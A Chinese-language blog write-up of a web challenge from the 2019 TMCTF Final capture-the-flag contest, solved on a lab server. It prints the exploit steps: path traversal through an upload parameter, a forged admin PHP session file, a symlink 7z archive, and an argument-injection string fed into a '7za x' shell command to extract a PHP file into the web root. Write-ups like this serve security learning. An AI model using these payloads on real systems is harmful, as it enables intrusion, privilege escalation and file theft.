sky's blog

2019 TMCTF Final & Hack Server

字数统计: 1,669阅读时长: 7 min
2019/12/03 Share

前言

近期在日本参加了2019 TMCTF Final,遇到了不少高质量的题目,但可惜大部分题目都和web无关,这里记录唯一一道比较web的题目~

信息搜集

题目描述:

1
2
3
4
5
6
7
8
9
Hack the following server.

http://10.0.106.(team number)/

User Name Password
guest password
admin (Unknown)

Note: You do not have to use way of brute force or DoS to solve this challenge. Please do not put a load on bandwidth or disk space.

题目给了一个网站,具备以下2种功能:

1
2
upload:http://10.0.106.10/tmctf2019/upload.php
download:http://10.0.106.10/tmctf2019/download.php

对于上传,可以指定public / private上传,对于download也可以指定public / private下载,上传至public的文件,只能用download的public文件下载。
也就是说题目给了我们一个文件上传,一个文件下载,而对于目录的划分(public / private),现在看不出多大作用来。
随便测试了一通,发现文件上传时,会拼接sha256的后缀,例如上传:

1
1.jpg

得到的文件名会变为:

1
1.jpg_sha256(salt+'1.jpg')

所以无法控制后缀,而尝试登陆功能注入和弱密码爆破登入也无法突破,无法将身份转换为admin,陷入僵局。
那么自然想到扫一扫目录,可以发现文件夹:

1
http://10.0.106.10/tmctf2019/include/

该文件夹并没有做权限控制,我们可以看到如下4个文件:

1
2
3
4
files.inc
functions.php
import_theme.inc
login.php

显然我们只能读取.inc文件,php文件会被解析无法直接访问源码。
import_theme.inc

files.inc

代码审计

既然有文件上传和文件下载,这势必是我们解题的主要突破口,故此审计了一下,发现:

我们很难直接进行目录穿越,无论上传还是下载,都会在最后进行限制。
同时通过源码,我们可以发现还存在一个theme功能,但是需要admin授权:

1
check_login_session_admin();

但是该功能并没有相应的目录穿越限制:

我们观察到会有解压7z的操作,这里不难想到软连接 / 写php后门,因为解压目录在web路径下。
但是这一切都需要我们先变成admin身份,否则将无法利用theme功能。

admin身份伪造

那么如何变成admin呢?我们注意到一个特别点:

1
session_save_path("/var/tmctf/");

题目将session文件都置于

1
/var/tmctf

而我们的上传目录位于:

即如果我们上传到public,路径为:

1
/var/tmctf/public/

如果我们上传到private,则路径为:

1
/var/tmctf/private/guest/

但是有意思的是,对于我们的$attr,也就是public / private,并没有任何的限制,我们可以将其指定为.
这样我们的上传路径将变为:

1
/var/tmctf/./

即可和session文件共享目录,但是新的问题又来了,我们如何拿到session文件内容格式呢?
这里注意到download功能,其文件读取路径为:

所以我们同理,可以将attr赋值为.,这样即可读取/var/tmctf目录下任意文件,而我们知道session文件格式为:

1
sess_phpsessid

故此,可以尝试读取session文件,可以发现文件内容为:

1
username|s:5:"guest";remote_addr|s:13:"192.168.10.27";

于是我们可以伪造session文件内容为:

1
username|s:5:"admin";remote_addr|s:13:"192.168.10.27";


但是上传后,发现我们的文件名变为:

1
sess_d182e6417ac7068fb6e4788a44264ab61d5cc43a56f4f3796ffafb0d50bffsky_7470b54ce8e4f6016425b5113ae9425e7d6b6582cb6473e8b7e95278fd3e9e3e

也就意味着我们的phpsession id为:

1
d182e6417ac7068fb6e4788a44264ab61d5cc43a56f4f3796ffafb0d50bffsky_7470b54ce8e4f6016425b5113ae9425e7d6b6582cb6473e8b7e95278fd3e9e3e

但是phpsessionid中无法带入下划线,故此会触发报错:

1
2
3
4
<br />
<b>Warning</b>: session_destroy(): Trying to destroy uninitialized session in <b>/var/www/html/tmctf2019/include/functions.php</b> on line <b>16</b><br />
<br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/html/tmctf2019/include/functions.php:16) in <b>/var/www/html/tmctf2019/include/functions.php</b> on line <b>17</b><br />

那么我们该如何bypass sha256后缀拼接呢?
不难想到,我们可以上传sess文件名,拼接上后缀后,可以变为:

1
sess_7470b54ce8e4f6016425b5113ae9425e7d6b6582cb6473e8b7e95278fd3e9e3e


那么这样,我们即可拿到不带无效字母的phpsessionid,读取验证:

发现我们成功伪造了admin的sessionid,至此登入,我们可以变成admin,看见theme功能。

任意7z上传

拿到theme功能后,不容乐观,我们发现了新的问题:

对于任意文件上传,后缀总会被拼接上sha256,我们上传的7z都会变成类似:

1
answer.7z_bab6c9f7fc17fbc85916afe883ac4cb5030e3089cc8086e71ef4669f9b5decc5

故此无法通过.7z拼接的文件存在check,同时00截断无效。
除此之外,我们发现管理员的private,出题人预留了一个answer.7z_bab6c9f7fc17fbc85916afe883ac4cb5030e3089cc8086e71ef4669f9b5decc5:

下载解压后,发现是解密脚本:

该压缩包的路径为:

1
/var/tmctf/private/admin/answer.7z_bab6c9f7fc17fbc85916afe883ac4cb5030e3089cc8086e71ef4669f9b5decc5

而我们目前的路径为

1
/usr/local/tmctf/theme/$theme.7z

但是无论如何控制$theme上跳,指定路径,都无法bypass .7z的后缀拼接。
那么如何上传出.7z结尾的文件,成为了难题。
回到上传点,我们分析路径构造:

我们关注到,路径构造为

1
/var/tmctf/ + $attr + / + filename + _ + hash_file

我们可以如下方式bypass:

1
attr = skynb.7z


这样得到的文件路径为

1
/var/tmctf/skynb.7z/ + filename + _ + hash_file

这样即可截断后面的hash_file拼接,构造出:

1
/var/tmctf/skynb.7z

我们再控制theme为:

1
theme = ../../../../../../../var/tmctf/skynb


即可让服务端解压任意7z至目录:

1
/var/www/html/skins/css/theme/

同理,我们可以如法炮制,上传题目给的answer.7z,并让其解压至目录:

1
/var/www/html/skins/css/theme/

访问:

1
http://10.0.106.10/skins/css/theme/answer.php

却发现该目录无法解析php文件,同时尝试软连接读取密文:

1
2
3
ln -s /usr/local/tmctf/enc_data data

7za a exploit.7z pass data

但发现软连接都是403,无法读取。又陷入僵局。

命令注入

那么现在的问题非常明显,我们需要将answer.php解压至其他文件目录下,但是我们注意到源码中有拼接:

1
$cmd = '7za x '.$zipfile.' -y -o/var/www/html/skins/css/theme/';

已经将解压目录指定到了:

1
/var/www/html/skins/css/theme/

那么应该如何bypass呢?这里可以想到,我们可以利用--进行bypass:

1
../../../../../../../var/tmctf/skynb.7z -y -o/var/www/html/tmctf2019/  e answer.php -- -o/../../../../../../../../../../../../../../../../../../usr/local/tmctf/theme/red

即可bypass目录指定,将answer.php放置于web目录下,此时访问:

1
http://10.0.106.10/tmctf2019/answer.php

即可拿到flag。

后记

这道题目出的真的蛮有意思的,趋势科技的题目真的质量不错,明年还要努努力,争取再去一次~

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 信息搜集
  3. 3. 代码审计
  4. 4. admin身份伪造
  5. 5. 任意7z上传
  6. 6. 命令注入
  7. 7. 后记